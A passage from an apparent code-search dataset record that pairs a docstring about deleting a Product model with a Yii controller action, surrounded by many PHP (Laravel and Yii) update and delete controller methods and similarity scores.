$id) {\n $fields = $request->validated();\n $data = $this->product->updateProduct($fields, $id);\n return redirect()->route('products.index')->with($data);\n }", "public function update(ProductUpdateRequest $request, $id)\n {\n abort_if(auth()->user()->community->store->products()->find(['id' => $id])->isEmpty(), 403);\n Product::findOrFail($id)->update($request->validated());\n\n return redirect()->back()->withSuccess('Perubahan berhasil disimpan!');\n }", "public function actionUpdate()\n {\n if (!$model = $this->findModel()) {\n Yii::$app->session->setFlash(\"error\", Yii::t('modules/user', \"You are not logged in.\"));\n $this->goHome();\n } else if ($model->load(Yii::$app->request->post()) && $model->save()) {\n Yii::$app->session->setFlash(\"success\", Yii::t('modules/user', \"Changes has been saved.\"));\n $this->refresh();\n } else {\n return $this->render('update', ['model' => $model,]);\n }\n }", "public function actionUpdate($id)\r\n {\r\n $model = $this->findModel($id);\r\n\t\t//print_r(\"update mode\");exit;\r\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\r\n // return $this->redirect(['view', 'id' => $model->id]);\r\n\t\t return $this->redirect(['index']);\r\n }\r\n\r\n return $this->renderAjax('update', [\r\n 'model' => $model,\r\n ]);\r\n }", "public function update(Request $request, Product $product)\n {\n $product->update($request->only('prd_name','image','price'));\n return redirect()->route('product.index')->with('success','Cập nhật thành công');\n }", "public function actionUpdate($id)\n {\n $model = $this->findModel($id);\n $old_photo = $model->image;\n $brands = Brands::find()->asArray()->all();\n $categories = Categories::find()->asArray()->all();\n $products = Products::find()->where(['<>','id', $model->id])->asArray()->all();\n $products_list = ArrayHelper::map($products,'id','title');\n $brands_list = ArrayHelper::map($brands,'id','title');\n $categories_list = ArrayHelper::map($categories,'id','title');\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $imgFile = UploadedFile::getInstance($model, \"image\");\n\n if (!empty($imgFile)) {\n\n $imgPath = Yii::getAlias(\"@frontend\") . \"/web/images/products/\";\n //$image_name = (uniqid('logo').$imgPath->baseName.date('dHis') ). '.' . $imgPath->extension;\n\n $imgName = Yii::$app->security->generateRandomString() . '.' . $imgFile->extension;\n\n $path = $imgPath . $imgName;\n if($imgFile->saveAs($path)){\n\n $model->image = $imgName;\n $model->update(false);\n if(!empty($old_photo)){\n unlink($imgPath.$old_photo);\n }\n\n }\n }else{\n $model->image = $old_photo;\n $model->save(false);\n }\n\n $session = Yii::$app->session;\n\n// Request #1\n// set a flash message named as \"postDeleted\"\n //$session->setFlash('postDeleted', 'You have successfully updated your product.');\n $session->addFlash('alerts', 'You have successfully deleted your post.');\n $session->addFlash('alerts', 'You have successfully added a new friend.');\n $session->addFlash('alerts', 'You are promoted.');\n\n return $this->redirect(['index']);\n }\n\n return $this->render('update', [\n 'model' => $model,\n 'brands_list' => $brands_list,\n 'products' => $products_list,\n 'categories_list' => $categories_list\n ]);\n }", "public function update(Request $request, $id)\n {\n // $products = Product::findOrFail($id);\n\n Product::findOrFail($id)->Update([\n 'category_id' => $request->category_id,\n 'brand_id' => $request->brand_id,\n 'product_name' => $request->product_name,\n 'product_slug' => strtolower(str_replace(' ','-',$request->product_name)),\n 'product_code' => $request->product_code,\n 'price' => $request->price,\n 'product_quantity' => $request->product_quantity,\n 'short_description' => $request->short_description,\n 'long_description' => $request->long_description,\n ]);\n\n return redirect('admin/product/edit/'.$id);\n }", "public function update($id)\n {\n request()->flash();\n //$this->validate(request(), $this->model->rules('update',$id));\n $editStatus = request()->input('edit');\n $data = request()->all();\n $data['status'] = $editStatus;\n $amazonProductModel = $this->model->find($id);\n $amazonProductModel->updateAmazonProduct($data);\n return redirect($this->mainIndex);\n }", "public function actionUpdate($id)\n {\n\n // p($id);die;\n $model = $this->findModel($id);\n // p($model);die;\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('update', [\n 'model' => $model,\n ]);\n }\n }", "public function update(Request $request, $id) {\n\n $rules = [\n 'name' => 'required|max:100',\n 'description' => 'required|max:500',\n 'stock' => 'required|integer|max:500|min:1',\n 'price' => 'required|numeric|min:1',\n 'type' => 'required'\n ];\n\n $this->validate($request, $rules);\n /**\n * Validates request sent in update operation and then updates the product table.\n */\n $product = Product::find($id);\n $product->name = $request->get('name');\n $product->description = $request->get('description');\n $product->stock = $request->get('stock');\n $product->price = $request->get('price');\n $product->type = $request->get('type');\n\n $product->save();\n\n Session::flash('message', 'Successfully updated product!');\n\n return view('product.show', compact('product', 'id'));\n\n// return redirect('/product');\n }", "public function update(Request $request)\n {\n $post = $request->all();\n $model = $this->model->getDetailProduct($post['id']);\n if (!empty($post['name'])) {\n $model->name = $post['name'];\n }\n // if (!empty($post['color'])) {\n // $model->color = $post['color'];\n // }\n if (!empty($post['price'])) {\n $model->price = $post['price'];\n }\n if (!empty($post['stock'])) {\n $model->stock = $post['stock'];\n }\n\n if ($model->update()) {\n session()->flash('flash_message','Data has been updated');\n return Redirect::back();\n } else {\n session()->flash('flash_message_error','Update data failed');\n return Redirect::back();\n }\n }", "public function update(UpdateProductsRequest $request, Products $product)\n {\n //return $request;\n //dd(request()->all());\n $data = request()->all();\n\n $product->name = $data['name'];\n\n $product->price = $data['price'];\n\n $product->discription = $data['discription'];\n\n //check if new image\n if($request->hasFile('image'))\n {\n //upload it\n $image = $request->image->store('products');\n\n //delete old one\n //$product->deleteimage();\n\n $data['image'] = $image;\n \n }\n //$product->save();\n //update attributes\n $product -> update($data);\n\n session()->flash('success','Product Is Updated');\n return redirect(route('products.index'));\n }", "public function update(Products $product)\n {\n $this->validateRequest();\n\n $product->name = request('name');\n $product->price = request('price');\n if(request()->file('img'))\n {\n $img = request()->file('img');\n $imgName = $img->getClientOriginalName();\n Image::make($img)->save(public_path('/images/uploads/products/'.$imgName));\n $product->img = $imgName;\n }\n\n $product->save();\n\n return redirect('/l2admin/products');\n }", "public function update(Product $product, UpdateProductRequest $request)\n {\n $this->product->update($product, $request->all());\n\n if ($brand_id = $request->get('brand_id')) {\n $brand = $this->brand->find($brand_id);\n $product->brand()->associate($brand);\n $product->save();\n }\n\n if ($request->get('categories')) {\n $product->categories()->sync($request->categories);\n }\n\n if ($request->get('related_products')) {\n $product->related()->sync($request->related_products);\n }\n\n if ($request->get('button') === 'index') {\n return redirect()->route('admin.store.product.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => $product->title]));\n }\n\n return redirect()->back()\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => $product->title]));\n }", "public function update(ProductFormRequest $request, $id) {\n \n// recupera os dados do formulario\n \n $dataForm = $request->all();\n // recupera o item\n $product = $this->product->find($id);\n // faz a verficacao do ativo\n if(!isset($dataForm['active'])){\n $dataForm['active'] = 0;\n }\n \n $update = $product->update($dataForm);\n \n if($update)\n return redirect()->route('produtos.index');\n else \n return redirect()->route('produtos.edit',$id)\n ->with(['errors' => 'não foi possivel atualizar o item']);\n \n \n }", "public function update(Request $request, $id)\n {\n //\n\n $product=Product::findorfail($id);\n $product->update($request->all());\n return redirect('products');\n }", "public function update(ProductStoreRequest $request, $id)\n {\n $product = Product::find($id);\n $this->saveProduct($product, $request);\n $product->update();\n return redirect('/admin/products');\n }", "public function actionUpdate($id)\n {\n $model = $this->findModel($id);\n\n if ($model->load(Yii::$app->request->post()) && $model->save())\n {\n return $this->redirect(['index']);\n }\n else\n {\n //var_dump($model);\n return $this->render('update', [\n 'model' => $model,\n ]);\n }\n }", "public function actionUpdate($id)\n {\n $model = $this->findModel($id);\n\n if (Yii::$app->request->post()) {\n $model->load(Yii::$app->request->post());\n $model->save();\n return $this->redirect(['site/view', 'id' => $model->id]);\n } else {\n return $this->render('knpr/update', [\n 'model' => $model,\n ]);\n }\n }", "public function update($id)\n {\n if (Input::get('check_update') == 1) {\n $validator = Validator::make(Input::all(), Products::$rules2);\n\n if ($validator->passes()) {\n $product = Products::find($id);\n $product->name = addslashes(Input::get('name'));\n $product->color_id = Input::get('color');\n $product->cp = Input::get('cp');\n $product->sp = Input::get('sp');\n $product->type_id = Input::get('type_id');\n $product->unit_id = Input::get('unit_id');\n $product->save();\n return Redirect::route('products.index')\n ->with('success', 'Product updated successfully');\n } else {\n return Redirect::route('products.edit', $id)\n ->withErrors($validator)\n ->withInput(Input::all());\n }\n\n } else {\n $validator = Validator::make(Input::all(), Products::$rules3);\n\n if ($validator->passes()) {\n $product = Products::find($id);\n $product->discount = Input::get('discount');\n $product->save();\n\n return Redirect::route('products.index')\n ->with('success', 'Product discount updated successfully');\n } else {\n return Redirect::route('products.discount', $id)\n ->withErrors($validator)\n ->withInput(Input::all());\n }\n }\n\n }", "public function update(Request $request, Product $product)\n {\n $data = $request->all();\n $product->update($data);\n return redirect()->route('products.show', ['product' => $product->id])->with('success', 'Salvataggio avvenuto correttamente');\n }", "public function update(Request $request, $id)\n {\n //\n// dd($request->all());\n $product = Product::find($id);\n\n $product = new Product();\n// dd($product);\n $product->product_name = $request->product_name;\n $product->short_description =$request->short_description;\n $product->sale_price = $request->sale_price;\n $product->quantity = $request->quantity;\n// $product->product_id = $request->id;\n $product->save($request->all());\n\n return redirect(route('dashboard'))->with('status','Record Updated');\n }", "public function edit($id)\n {\n // \n $colors=$this->model->getColours();\n $categories=$this->model->getCategories();\n $productOne=$this->model->getOneProduct($id);\n \n return view(\"admin.pages.updateProduct\",['product'=>$productOne,'colors'=>$colors, 'categories'=>$categories]);\n }", "public function actionUpdate($id)\n {\n if (Yii::$app->user->isGuest) {\n return $this->redirect([\"site/login\"]); \n }\n if(Permiso::requerirRol('lider')){\n $this->layout='/main2';\n }elseif(Permiso::requerirRol('vendedor')){\n $this->layout='/main3';\n }\n $model = $this->findModel($id);\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->idproducto]);\n }\n\n return $this->render('update', [\n 'model' => $model,\n ]);\n }", "public function update(ProductRequest $request, $id)\n {\n $product=Product::find($id);\n //add updated by to request\n $request->request->add(['updated_by'=>Auth::user()->id]);\n\n $status=$product->update($request->all());\n if ($status){\n $request->session()->flash('success_message','product Updated Successfully');\n }else{\n $request->session()->flash('error_message','Product Updated Failed');\n }\n //redirect abck to tag index page\n return redirect()->route('product.index');\n }" ]
[ "0.78021604", "0.7658776", "0.7584333", "0.7443477", "0.74123", "0.73707354", "0.732938", "0.7285314", "0.7200871", "0.71553856", "0.71511275", "0.7147872", "0.7120523", "0.7073495", "0.70530677", "0.7043816", "0.7038366", "0.70279366", "0.7007795", "0.70060337", "0.69990504", "0.6986031", "0.69850665", "0.69839525", "0.6974588", "0.6950001", "0.6935586", "0.6932307", "0.69247097", "0.6923755", "0.69151014", "0.69086695", "0.69022167", "0.6886921", "0.688216", "0.6863603", "0.68622416", "0.6851895", "0.68435323", "0.6842541", "0.6813037", "0.68020135", "0.6792462", "0.6789276", "0.67824966", "0.67765975", "0.67738926", "0.6770379", "0.6761556", "0.6756081", "0.6756019", "0.6755356", "0.6752316", "0.6751282", "0.67463475", "0.674567", "0.6745161", "0.6741319", "0.67396", "0.67347795", "0.6734461", "0.6725685", "0.67146105", "0.671272", "0.67078125", "0.66998523", "0.6697768", "0.6692234", "0.6688717", "0.6683343", "0.6682901", "0.66787773", "0.6674265", "0.66723144", "0.66722953", "0.6670996", "0.6667121", "0.66662174", "0.6658298", "0.66568094", "0.6656333", "0.66539055", "0.66527426", "0.6651115", "0.6648337", "0.66458994", "0.66455823", "0.6645424", "0.6644381", "0.6644176", "0.66414535", "0.66368574", "0.6633441", "0.6632957", "0.66315055", "0.6631164", "0.66265374", "0.6621866", "0.6617124", "0.66128397", "0.6610831" ]
0.0
-1
Deletes an existing Product model. If deletion is successful, the browser will be redirected to the 'index' page.
public function actionDelete($id) { $this->findModel($id)->delete(); Yii::$app->getSession()->setFlash('success','successful deleted'); return $this->redirect(Yii::$app->request->referrer); //return $this->redirect(['index']); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function deleteProductAction()\n {\n $id = $_GET['id'];\n $productManager = new ProductManager();\n $productManager->deleteProduct($id);\n header('Location: index.php?section=admin&page=adminproducts');\n }", "public function actionDeleteProduct()\n\t{\n\t\t$model = OrderProduct::model()->findByPk($_POST['product_id']);\n\t\tif($model)\n\t\t\t$model->delete();\n\t}", "public function delete_product()\n {\n\t $product_id = (int)$this->uri->segment(4);\n\t //dump($product_id);\n\t \n\t $query = $this->Product_model->delete_product($product_id);\n\t if($query){\n\t\t \n\t\t redirect('admin/Dashboard/product');\n\t\t \n\t } else {\n\t\t\t \n\t\t echo 'error';\n\t\t\t \n\t }\t \n\t \n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $model->is_deleted = 1;\n if ($model->save()) {\n Yii::$app->session->setFlash('success', 'Product successfully deleted');\n return $this->redirect(['index']);\n }\n }", "public function delete_product(){\r\n\t\tif ($this->checkLogin('A') == ''){\r\n\t\t\tredirect('admin');\r\n\t\t}else {\r\n\t\t\t$product_id = $this->uri->segment(4,0);\r\n\t\t\t$condition = array('id' => $product_id);\r\n\t\t\t$old_product_details = $this->product_model->get_all_details(PRODUCT,array('id'=>$product_id));\r\n\t\t\t$this->update_old_list_values($product_id,array(),$old_product_details);\r\n\t\t\t$this->update_user_product_count($old_product_details);\r\n\t\t\t$this->product_model->commonDelete(PRODUCT,$condition);\r\n\t\t\t$this->setErrorMessage('success','Product deleted successfully');\r\n\t\t\tredirect('admin/product/display_product_list');\r\n\t\t}\r\n\t}", "public function actionDeleteProduct()\n {\n $order = Order::model()->findByPk(Yii::app()->request->getPost('order_id'));\n\n if (!$order)\n $this->error404(Yii::t('CartModule.admin', 'ORDER_NOT_FOUND'));\n\n if ($order->is_deleted)\n throw new CHttpException(404, Yii::t('CartModule.admin', 'ORDER_ISDELETED'));\n\n $order->deleteProduct(Yii::app()->request->getPost('id'));\n }", "public function delete() {\n if (!$this->customer->isLogged()) {\n die();\n }\n $product_id = $this->request->post['product_id'];\n $this->load->model('catalog/product');\n\n $this->model_catalog_product->deleteProduct($product_id);\n\n echo \"ok\";\n exit();\n\n }", "public function deleteAction() {\n\n $id = (int) $this->getRequest()->getParam('id');\n\n try {\n $this->_productMapper->delete($id);\n $this->_flashMessenger->addMessage(array('info' => 'Produkt byl úspěšně smazán.'));\n } catch (Exception $e) {\n $this->_flashMessenger->addMessage(array('error' => 'Při pokusu o smazání došlo k chybě!<br />' . $e->getMessage()));\n }\n $module = $this->getRequest()->getModuleName();\n $controller = $this->getRequest()->getControllerName();\n $this->_redirect($module . '/' . $controller);\n }", "function destroy()\n\t{\n\t\t$id = getParameter('id');\n\t\t$this->model->product->destroy($id);\n\t\tredirect('product/index');\n\t}", "public function actionDelete()\n {\n if ($post = Template::validateDeleteForm()) {\n $id = $post['id'];\n $this->findModel($id)->delete();\n }\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $ProductName = $model->ProductName;\n\n if ($model->delete()) {\n Yii::$app->session->setFlash('success', 'Record <strong>\"' . $ProductName . '\"</strong> deleted successfully.');\n }\n\n return $this->redirect(['index']);\n }", "public function actionDelete()\n {\n $id = Yii::$app->request->post('id');\n try {\n $this->findModel($id)->delete();\n } catch (StaleObjectException $e) {\n } catch (NotFoundHttpException $e) {\n } catch (\\Throwable $e) {\n }\n\n return $this->redirect(['index']);\n }", "public function destroy()\n {\n $data = request()->validate([\n 'product_id' => 'required'\n ]);\n\n Product::destroy(request('product_id'));\n\n return redirect(route('product.index'))->with('success', 'Product successfully deleted');\n }", "public function delete(){\n $this->product->id = $_GET['delete_id'];\n\n // delete the product\n if($this->product->delete()){\n echo \"<div class=\\\"alert alert-success alert-dismissable\\\">\";\n echo \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-hidden=\\\"true\\\">&times;</button>\";\n echo \"Object was deleted.\";\n echo \"</div>\";\n }\n\n // if unable to delete the product\n else{\n echo \"<div class=\\\"alert alert-danger alert-dismissable\\\">\";\n echo \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-hidden=\\\"true\\\">&times;</button>\";\n echo \"Unable to delete object.\";\n echo \"</div>\";\n }\n }", "public function actionDelete()\n {\n $id= @$_POST['id'];\n if($this->findModel($id)->delete()){\n echo 1;\n }\n else{\n echo 0;\n }\n\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\r\n {\r\n // Access check\r\n self::checkAdmin();\r\n\r\n // Form processing\r\n if (isset($_POST['submit'])) {\r\n // If the form is submitted\r\n // Remove the products\r\n Product::deleteProductById($id);\r\n\r\n // Redirecting the user to the product management page\r\n header(\"Location: /admin/product\");\r\n }\r\n\r\n // We connect the view\r\n require_once(ROOT . '/views/admin_product/delete.php');\r\n return true;\r\n }", "public function actionDelete($id) {\n $uProduct = Product::model()->findByPk($id);\n $uProduct->delete();\n echo 200;\n }", "public function deleteAction()\n {\n \t$id = (int) $this->params()->fromRoute('id', 0);\n \tif (!$id) {\n \t\treturn $this->redirect()->toRoute('order');\n \t}\n \t// Retrieve the current user\n \t$current_user = Functions::getUser($this);\n \t \n \t// Retrieve the allowed routes\n \t$allowedRoutes = Functions::getAllowedRoutes($this);\n\n \t// Retrieve the user's instance\n \t$instance_id = Functions::getInstanceId($this);\n \t\n \t// Retrieve the order product row\n \t$orderProduct = $this->getOrderProductTable()->get($id);\n \t \n \t// Retrieve the order\n \t$order = $this->getOrderTable()->get($orderProduct->order_id);\n\n \t// Retrieve the product\n \t$product = $this->getProductTable()->get($orderProduct->product_id);\n \t \n \t// Retrieve the user validation from the post\n \t$request = $this->getRequest();\n \tif ($request->isPost()) {\n \t\t$del = $request->getPost('del', 'No');\n \n\t\t\t// And delete the entity from the database in the \"yes\" case\n \t\tif ($del == $this->getServiceLocator()->get('translator')->translate('Yes')) {\n \t\t\t$id = (int) $request->getPost('id');\n \t\t\t$this->getOrderProductTable()->delete($id);\n \t\t}\n \n \t\t// Redirect to the index\n \t\treturn $this->redirect()->toRoute('orderProduct/index', array('id' => $order->id));\n \t}\n \n \treturn array(\n \t\t'current_user' => $current_user,\n \t\t'allowedRoutes' => $allowedRoutes,\n \t\t'title' => 'Order',\n \t\t'id' => $id,\n \t\t'order' => $order,\n \t\t'product' => $product\n \t);\n }", "public function actionDelete()\n {\n if (!$this->isAdmin()) {\n $this->getApp()->action403();\n }\n\n $request = $this->getApp()->getRequest();\n $id = $request->paramsNamed()->get('id');\n $model = $this->findModel($id);\n if (!$model) {\n $this->getApp()->action404();\n }\n\n $model->delete();\n\n return $this->back();\n }", "public function productDelete($id)\n {\n $deleteProduct=Products::find($id)->delete();\n return redirect()->back();\n }", "public function delete()\n {\n if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n $id = $_POST['id'];\n $pictureManager = new PictureManager();\n $pictureManager->delete($id);\n $productManager = new ProductManager();\n $productManager->delete($id);\n header('location: /adminProduct/list');\n }\n }", "public function delete($id) {\r\n\r\n //product id \r\n $this->Department_model->delete($id);\r\n redirect('admin/departments');\r\n }", "public function deleteAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif ($item) {\n\t\t\t$item->delete();\n\t\t}\n\t\t$this->_helper->redirector('list', null, null, array('model' => $modelName));\n\t}", "public function delete(Product $product)\n {\n $product->delete();\n return redirect()->route('admin.product.index')->with('success',\"Produit bien supprimé\");\n\n }", "public function DeleteAction()\n {\n\n \t//Supprime le mouvement\n \t$sm_id = $this->getRequest()->getParam('sm_id');\n \t$sm = mage::getModel('Purchase/StockMovement')->load($sm_id);\n \t$product_id = $sm->getsm_product_id();\n \t$sm->delete();\n \t\t\n \t//Met a jour le stock du produit\n \tmage::getModel('Purchase/StockMovement')->ComputeProductStock($product_id);\n \t\n \t//Redirige sur la fiche produit\n \t$this->_redirect('Purchase/Products/Edit/product_id/'.$product_id);\n \t\n }", "public function delete( $id=NULL ){\n\t\tif( is_null( $id ) ){\n\t\t\treturn $this->productNotFound();\t\n\t\t}\n\t\t\n\t\tif( $this->product_model->delete( $id ) ){\n\t\t\t$this->contentData['message'] = 'Product deleted.';\n\t\t\treturn $this->index();\n\t\t} else {\n\t\t\t$this->contentData['message'] = 'Unable to delete.';\n\t\t\treturn $this->edit( $id );\n\t\t}\n\t}", "public function destroy($id)\r\n {\r\n $product = Product::findOrFail($id);\r\n $product->delete();\r\n Session::flash('success', \"Delete successfully!!!\");\r\n return redirect(\"admin/product\");\r\n }", "public function deleteProduct($id) {\n $product = Product::find($id);\n $product->delete();\n return redirect('/manage-product')->with('message','Successfully Deleted');\n }", "public function destroy()\n {\n if(!auth()->user()->isAdmin()){\n return Redirect('/');\n }\n\n // Get product\n $product = Product::find(request()->id);\n\n // Set product 'deleted'\n $product->delete();\n \n // Return to the page with a message\n Session::flash('msg', 'Product verwijderd');\n return back();\n }", "public function actionDelete($id)\n {\n \n $Product = ProductsOrders::find()->where('id_order = :id_order', ['id_order' => $id])->all();\n foreach ($Product as $product):\n //echo $product->count;\n $modelProd = Products::find()->where('id_product = :id_product', [':id_product' => $product->id_product])->one();\n $modelProd->count = $modelProd->count + $product->count;\n $modelProd->update();\n endforeach;\n\n $this->findModel($id)->delete();\n $ProdOrders = ProductsOrders::find()->where('id_order = :id_order', [':id_order' => $id])->all();\n foreach ($ProdOrders as $prodOrd) {\n $prodOrd->delete();\n }\n return $this->redirect(['index']);\n }", "public function destroy($id)\n {\n $pd=Product::find($id); \n $pd->delete();\n return redirect('/product/index');\n }", "public function destroy($id)\n {\n $data= Product::find($id);\n $data->delete();\n return redirect('admin');\n }", "public function actionDelete($id)\n {\n\t\t$model = $this->findModel($id);\n\n\t\t$model->delete();\n\n return $this->redirect(['index']);\n }", "public function destroy($id)\n {\n //\n $delete = Product::find($id)->delete();\n return redirect()->route('products.index')\n ->with('success','Product deleted successfully');\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $model->delete();\n\n\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']); \n }", "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']); \n }", "public function delete()\n\t{\n\t\t$option = JRequest::getVar('option');\n\t\t$post = JRequest::get('post');\n\t\t$cartElement = $post['cart_index'];\n\t\t$Itemid = JRequest::getVar('Itemid');\n\t\t$redhelper = new redhelper;\n\t\t$Itemid = $redhelper->getCartItemid();\n\t\t$model = $this->getModel('cart');\n\n\t\t$model->delete($cartElement);\n\t\t$this->_carthelper->cartFinalCalculation();\n\t\t$this->_carthelper->carttodb();\n\t\t$link = JRoute::_('index.php?option=' . $option . '&view=cart&Itemid=' . $Itemid, false);\n\t\t$this->setRedirect($link);\n\t}", "public function destroy($id)\n {\n $product = Producto::find($id);\n $product->delete();\n return redirect()->route('admin.products.index');\n }", "public function actionDelete()\n {\n if(isset($_POST['id'])){\n $id = $_POST['id'];\n $this->findModel($id)->delete();\n echo \"success\";\n }\n }", "public function actionDelete($id){\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "public function deleteProduct(Request $request)\n {\n $product = Product::find($request->id);\n if($product->delete()){\n Session::flash('message', 'Producto eliminado correctamente!!');\n return Redirect::to('products');\n }\n }", "public function deleteAction() {\n\t\t$id = $this->getRequest ()->getParam ( 'id' );\n\t\t$controller = Zend_Controller_Front::getInstance ()->getRequest ()->getControllerName ();\n\t\t\n\t\tif (! empty ( $id ) && is_numeric ( $id )) {\n\t\t\tif(ProductsAttributes::deleteAttribute($id)){\n\t\t\t\t$this->_helper->redirector ( 'list', $controller, 'admin', array ('mex' => $this->translator->translate ( 'Attribute deleted' ), 'status' => 'information' ) );\t\n\t\t\t}\n\t\t}\n\t\t$this->_helper->redirector ( 'list', $controller, 'admin', array ('mex' => $this->translator->translate ( 'Unable to process the request at this time.' ), 'status' => 'danger' ) );\n\t}", "function deleteAction()\n\t{\n global $langCode;\n\t\t$id = (int)$this->registry->router->getArg('id');//lay id cua record can xoa\n\t\t$myProductCat = new Core_ProductCategory($id);\n\t\tif($myProductCat->id > 0)\n\t\t{\n\t\t\t//tien hanh xoa\n\t\t\tif($myProductCat->delete())\n\t\t\t{\n\t\t\t\t$redirectMsg = str_replace('###categoryname###', $myProductCat->name[$langCode], $this->registry->lang['controller']['succDelete']);\n\t\t\t\t\n\t\t\t\t$this->registry->me->writelog('ProductCategorydelete', $myProductCat->id, array('name' => $myProductCat->name[$langCode])); \t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$redirectMsg = str_replace('###categoryname###', $myProductCat->name[$langCode], $this->registry->lang['controller']['errDelete']);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$redirectMsg = $this->registry->lang['controller']['errNotFound'];\n\t\t}\n\t\t\n\t\t$this->registry->smarty->assign(array('redirect' => $this->getRedirectUrl(),\n\t\t\t\t\t\t\t\t\t\t\t\t'redirectMsg' => $redirectMsg,\n\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t$this->registry->smarty->display('redirect.tpl');\n\t\t\t\n\t}", "public function destroy($id ,Product $product)\n {\n $product->find($id)->delete();\n\n return redirect('/adminpanel/products');\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $model->delete();\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $model->delete();\n return $this->redirect(['index']);\n }", "public function actionDelete($id)\n\t{\n\t\t$model = $this->loadModel($id);\n\t\t\n\t\tif ($model) {\n\t\t\t$model->delete();\n\t\t}\n\n // if AJAX request (triggered by deletion via list grid view), we should not redirect the browser\n if (!isset($_GET['ajax']))\n $this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('index'));\n\t}", "public function delete() {\r\r\n //product id \r\r\n $id = $this->uri->segment(4);\r\r\n $this->sites_model->delete_site($id);\r\r\n redirect('admin/sites');\r\r\n }", "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "public function destroy($id)\n {\n //\n\n $product=Product::find($id);\n $product->delete();\n return redirect()->route('product.index');\n\n }", "public function destroy($id)\n {\n $model = Producto::findOrFail($id);\n $model->delete();\n return redirect()->route('producto.index')->with('message', 'Eliminado correctamente!');\n }", "public function actionDelete()\r\n {\r\n $this->_userAutehntication();\r\n\r\n switch($_GET['model'])\r\n {\r\n /* Load the respective model */\r\n case 'posts': \r\n $model = Post::model()->findByPk($_GET['id']); \r\n break; \r\n default: \r\n $this->_sendResponse(501, sprintf('Error: Mode <b>delete</b> is not implemented for model <b>%s</b>',$_GET['model']) );\r\n exit; \r\n }\r\n /* Find the model */\r\n if(is_null($model)) {\r\n // Error : model not found\r\n $this->_sendResponse(400, sprintf(\"Error: Didn't find any model <b>%s</b> with ID <b>%s</b>.\",$_GET['model'], $_GET['id']) );\r\n }\r\n\r\n /* Delete the model */\r\n $response = $model->delete();\r\n if($response>0)\r\n $this->_sendResponse(200, sprintf(\"Model <b>%s</b> with ID <b>%s</b> has been deleted.\",$_GET['model'], $_GET['id']) );\r\n else\r\n $this->_sendResponse(500, sprintf(\"Error: Couldn't delete model <b>%s</b> with ID <b>%s</b>.\",$_GET['model'], $_GET['id']) );\r\n }", "public function destroy($id)\n {\n $model = productmodel::find($id);\n $model->delete();\n Session::flash('status', 'model suessfully deleted');\n return back();\n }", "public function destroy($id)\n {\n //\n $product = Product::find($id);\n $product->delete();\n return redirect('/admin/product');\n }", "public function destroy(Product $product)\n\n {\n\n $product->delete();\n\n \n\n return redirect()->route('products.index')\n\n ->with('success','Product deleted successfully');\n\n }", "public function actionDelete($id) {\n\t\t$this->findModel($id)->delete();\n\t\treturn $this->redirect(['index']);\n\t}", "public function actionDelete($id)\n\t{\n\t\t$model = $this->loadModel($id);\t\n\t\t\t\n\t\t// if (!empty($model->foto_principal)) \n\t\t// \tunlink(Yii::app()->basePath.'/../'.$model->foto_principal);\t\t\n\t\t\n\t\t// if (!empty($model->foto_detalle)) \n\t\t// \tunlink(Yii::app()->basePath.'/../'.$model->foto_detalle);\n\n\t\t// if (!empty($model->foto_descripcion)) \n\t\t// \tunlink(Yii::app()->basePath.'/../'.$model->foto_descripcion);\n\n\t\t// if (!empty($model->foto_posologia)) \n\t\t// \tunlink(Yii::app()->basePath.'/../'.$model->foto_posologia);\n\n\t\t// if (!empty($model->foto_uso)) \n\t\t// \tunlink(Yii::app()->basePath.'/../'.$model->foto_uso);\n\t\t\t\n\t\t//BORRA El PRODUCTO Y SACA DEL INVENTARIO\n\t\t// $idInventario = TInventario::model()->with('idProducto')->find('t.id_producto = '.$id);\n\t\t// $modelInventario=TInventarioController::loadModel($idInventario->id_inventario);\n\n\t\t// $modelInventario->delete();\n\t\t$model->id_estatus=2;\n\t\t$model->save();\t\t\n\t\t\n\n\t\techo CJSON::encode(array(\t\n\t\t\t'salida' => \"OK\",\t\t\t\n\t\t\t'mensaje' => '<div class=\"alert alert-danger alert-dismissible\" role=\"alert\"><button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;</span></button><i class=\"glyphicon glyphicon-ok-sign\"></i> El producto fue eliminado exitosamente.</div>',\n\t\t\t'id' => $id\t\t\t\n\t\t));\n\n\t\tYii::app()->end();\n\n\n\n\t}", "public function actionDelete($id) {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "public function destroy($id)\n {\n $product = Product::find($id);\n $product->delete();\n return redirect('admin/product')->with('status','Successfully 